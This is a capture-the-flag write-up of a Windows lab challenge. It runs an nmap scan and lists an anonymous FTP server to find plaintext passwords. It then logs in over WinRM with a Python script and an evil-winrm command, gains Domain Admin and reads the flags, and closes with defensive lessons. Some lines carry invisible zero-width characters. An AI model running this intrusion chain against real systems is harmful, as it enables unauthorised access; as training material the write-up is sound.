Системный администратор

Platform: hackerlab | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: Windows | Author: XESXOR | Date: 2025-12-26 | Status: Solved Techniques: Anonymous FTP enumeration, Credential harvesting from exposed files, WinRM remote access, Windows privilege escalation (Domain Admin)

Summary

Target: 192.169.2.3 (Windows Server 2012 R2)

Системный администратор - HackerLab

Description

Специалист, отвечающий за настройку, управление и обслуживание компьютерной техники, программного обеспечения и сетей на предприятии или организации. Он обеспечивает стабильную работу всех IT-систем, внедряет новые технологии, решает проблемы и предотвращает сбои в работе оборудования и программ.

Target: 192.169.2.3 (Windows Server 2012 R2)

Analysis

1. Port Scanning

 bash read-only • copy allowed Copy
nmap -sV -sC 192.169.2.3

Discovered services:

• FTP (21) - anonymous login allowed
• HTTP (80) - IIS 8.5, defaced page "H4cked By --KATASTROFA--"
• SMB (445) - Windows Server 2012 R2, domain codeby.cdb
• WinRM (5985) - open ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. FTP Anonymous Access

FTP server allows anonymous access. User directories discovered inside:

 bash read-only • copy allowed Copy
curl ftp://192.169.2.3/ --user anonymous:

Found directories:

• ekaterina.smirnova/
• vlad.ivanov/

3. Credential Harvesting

Password files found in user directories:

ekaterina.smirnova/notes.txt:

You_Shall_Not_Pass@@#

vlad.ivanov/reminder.txt:

You_Shall_Not_Pass for RPC

Solution

Step 1: Connecting via WinRM

Using discovered credentials for vlad.ivanov:

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import winrm
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

session = winrm.Session(
    '192.169.2.3',
    auth=('vlad.ivanov', 'You_Shall_Not_Pass'),
    transport='ntlm'
)

# Check privileges
result = session.run_cmd('whoami /all')
print(result.std_out.decode())

Or via evil-winrm:

 bash read-only • copy allowed Copy
evil-winrm -i 192.169.2.3 -u vlad.ivanov -p 'You_Shall_Not_Pass'

Step 2: Checking Privileges

User vlad.ivanov turned out to be Domain Admin with full privileges!

 cmd read-only • copy allowed Copy
whoami /groups
# Domain Admins

Step 3: Finding the Flag

The flag is split into two parts: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 cmd read-only • copy allowed Copy
type C:\Users\aleksey.ibragimov\Desktop\user.txt
# CODEBY{REDACTED

type C:\Users\Administrator\Desktop\root.txt
# REDACTED}

Lessons

1. Anonymous FTP - critical vulnerability, especially with access to user directories
2. Plaintext credentials - passwords in text files = instant compromise
3. Overprivileged accounts - regular user should not be Domain Admin
4. Defense in depth - even if FTP is compromised, WinRM should require MFA

Attack Chain

Anonymous FTP → User directories → Plaintext passwords → WinRM access → Domain Admin → Flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍